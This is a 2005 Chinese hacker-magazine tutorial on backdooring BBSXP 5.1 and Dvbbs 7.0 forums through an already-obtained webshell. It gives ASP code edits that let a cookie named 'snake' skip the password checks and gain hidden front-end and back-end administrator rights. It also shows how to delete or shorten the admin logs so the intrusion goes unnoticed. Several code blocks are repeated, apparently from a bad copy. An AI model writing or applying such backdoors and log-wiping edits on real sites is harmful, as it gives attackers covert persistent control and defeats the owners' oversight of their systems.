
文章作者:Snakehu
信息来源:邪恶八进制信息安全团队(www.eviloctal.com)
文章已经发表在2005-10期《黑客防线》
目标:通过Webshell对原文件的修改使自己变成管理员,常规情况下不会被管理员发现。
目的:方便大家,其实懂一点点asp的人都会,不过自己试,费的时间比较多。
在拿到webshell的情况下如何控制论坛呢?
这个问题好像有点多余。一般都是从论坛弄webshell,怎么会出现这种情况呢?现在的论坛做的越来越安全,在新漏洞发现之前,最新版本的论坛一般很难攻克。但是一个网站总有软肋,在菜鸟圈里很火的注入、上传漏洞,还有旁注等等都可以让我们拿到Webshell。
许多人都会问,有webshell了还怕论坛下不来?改数据就可以了。但是这样问题就来了,admin没事突然发现多了个管理员帐户,你说他怎么想?说不定来个大清查。(没准把我们的webshell也揪出来)
既然我们有了webshell,那何不在论坛上做做手脚?
1. bbsxp。
版本:偶以5.1说明
(1)成为前台Master
新建include.asp,内容如下:
QUOTE:
<%
if Request.Cookies("username")="snake" then
membercode=5
end if
%>
if Request.Cookies("username")="snake" then
membercode=5
end if
%>
在setup.asp尾部添加如下代码:
QUOTE:
<!-- #include file="include.asp" -->
一定要是在尾部,如果添加在头部,那么membercode又会被还原成原来的值。
这样,你就可以成为一个"隐身"管理员了.
(2). 成为后台Master
在admin.asp里看到sub(pass)的这里(53行):
QUOTE:
session("pass")=md5(""&Request("pass")&"")
if adminpassword<>session("pass") then error2("社区管理密码错误")
if adminpassword<>session("pass") then error2("社区管理密码错误")
这个就是后台密码验证,我们改改:
QUOTE:
if Request.Cookies("username")<>"snake" then
session("pass")=md5(""&Request("pass")&"")
if adminpassword<>session("pass") then error2("社区管理密码错误")
end if
session("pass")=md5(""&Request("pass")&"")
if adminpassword<>session("pass") then error2("社区管理密码错误")
end if
小结一下,如果你有webshell,那就不要读数据库了,打开文件,把你不满意的密码验证都加上IF语句。控制好条件,等到你登陆后,这些验证就......
再加上这样一段:
QUOTE:
If Request.Cookies(“username”)=”snake” then
Session(“pass”)= adminpassword
End if
Session(“pass”)= adminpassword
End if
怎么样,进入后台随便输入一个密码。OK!进去了。
虽然别人从正常渠道看不出来你是master了.但是别忘了bbsxp的日志,既然我们有webshell,那还不好改?
在admin.asp中164行可以看到这样一句:
QUOTE:
conn.execute("delete from [log] where logtime<"&SqlNowString&"-7")
这就是日志只保存7天的原因了.我们在其后也来一句:
QUOTE:
conn.execute("delete from [log] where 'username'='snake'")
这样,每次有人登陆后台,我们的操作就Over掉啦.2. dvbbs.
版本:以7.0 ac说明(菜之至极,手里的鸡都没有7.1,嗨!老天呐!)
(1):成为前台Master
洞网论坛大家应该非常熟悉了吧。它的权限判断是放在/inc/Dv_ClsMain.asp里完成的。得到前台管理员当然要从这里入手了。
洞网的身份标识是UserGroupID,1对应的就是管理员。所以大家在Dv_ClsMain.asp搜索UserGroupID,一路来到614-623行:
QUOTE:
Select Case UserGroupID
Case 8
Vipuser = True
Case 3
Boardmaster = True
Case 2
Superboardmaster = True
Case 1
Master = True
End Select
Case 8
Vipuser = True
Case 3
Boardmaster = True
Case 2
Superboardmaster = True
Case 1
Master = True
End Select
这就是身份判断的地方。让我们在这之前加上如下:
QUOTE:
if Request.Cookies(Forum_sn)("username")="snake" then
UserGroupID=1
end if
UserGroupID=1
end if
(2):成为后台Master
后台登陆的验证就放在admin_index.asp里。看到chklogin()里的319-342行,我们按照如下方式修改:
QUOTE:
'======================== By Snakehu
if username <> "snake" then
'======================== By Snakehu
set rs=Dvbbs.Execute("select * from "&admintable&" where username='"&username&"' and adduser='"&dvbbs.membername&"'")
if rs.eof and rs.bof then
rs.close
set rs=nothing
Response.Redirect "showerr.asp?action=OtherErr&ErrCodes=<li>您输入的用户名和密码不正确或者您不是系统管理员。请<a href=admin_login.asp>重新输入</a>您的密码。<b>返回后请刷新登录页面后重新输入正确的信息。</b>"
exit sub
else
if trim(rs("password"))<>password then
Response.Redirect "showerr.asp?action=OtherErr&ErrCodes=<li>您输入的用户名和密码不正确或者您不是系统管理员。请<a href=admin_login.asp>重新输入</a>您的密码。<b>返回后请刷新登录页面后重新输入正确的信息。</b>"
exit sub
else
session("flag")=rs("flag")
session.timeout=45
Dvbbs.Execute("update "&admintable&" set LastLogin="&SqlNowString&",LastLoginIP='"&ip&"' where username='"&username&"'")
rs.close
set rs=nothing
response.redirect "admin_index.asp"
end if
end if
'======================== By Snakehu
else
session("flag")="1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36"
session.timeout=45
response.redirect "admin_index.asp"
end if
'======================== By Snakehu
end sub
if username <> "snake" then
'======================== By Snakehu
set rs=Dvbbs.Execute("select * from "&admintable&" where username='"&username&"' and adduser='"&dvbbs.membername&"'")
if rs.eof and rs.bof then
rs.close
set rs=nothing
Response.Redirect "showerr.asp?action=OtherErr&ErrCodes=<li>您输入的用户名和密码不正确或者您不是系统管理员。请<a href=admin_login.asp>重新输入</a>您的密码。<b>返回后请刷新登录页面后重新输入正确的信息。</b>"
exit sub
else
if trim(rs("password"))<>password then
Response.Redirect "showerr.asp?action=OtherErr&ErrCodes=<li>您输入的用户名和密码不正确或者您不是系统管理员。请<a href=admin_login.asp>重新输入</a>您的密码。<b>返回后请刷新登录页面后重新输入正确的信息。</b>"
exit sub
else
session("flag")=rs("flag")
session.timeout=45
Dvbbs.Execute("update "&admintable&" set LastLogin="&SqlNowString&",LastLoginIP='"&ip&"' where username='"&username&"'")
rs.close
set rs=nothing
response.redirect "admin_index.asp"
end if
end if
'======================== By Snakehu
else
session("flag")="1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36"
session.timeout=45
response.redirect "admin_index.asp"
end if
'======================== By Snakehu
end sub
解释一下,session(“flag’)是用来判断权限的,每个数字都对应后台一个版面,如果里面含有对应版面的flag就通过;否则弹出错误页面。
由于小菜我手头没有装了7.1的肉鸡,就只好用7.0ac的实验啦。7.1的方法我想也差不多吧。只不过我记得7.1的admin_login.asp部分代码不一样,可能要麻烦大家自己改了。
好了,现在从前台进入“管理”,输入用户名snake,密码任意。哇,终于进来了,可爱的后台!
对于dvbbs的日志,对待方法和bbsxp差不多。就不多说了。实在不行,你把admin_log.asp里223行的
QUOTE:
(""D"",l_addtime, "&SqlNowString&") > 2
的2改称0就可以了。这里的意思是作删除操作时2天之内的日志不被删除,我们改成0就都删除了。好了,就这样了。如果有什么错误的地方,麻烦各位在论坛上告诉我哟。偶第一次写。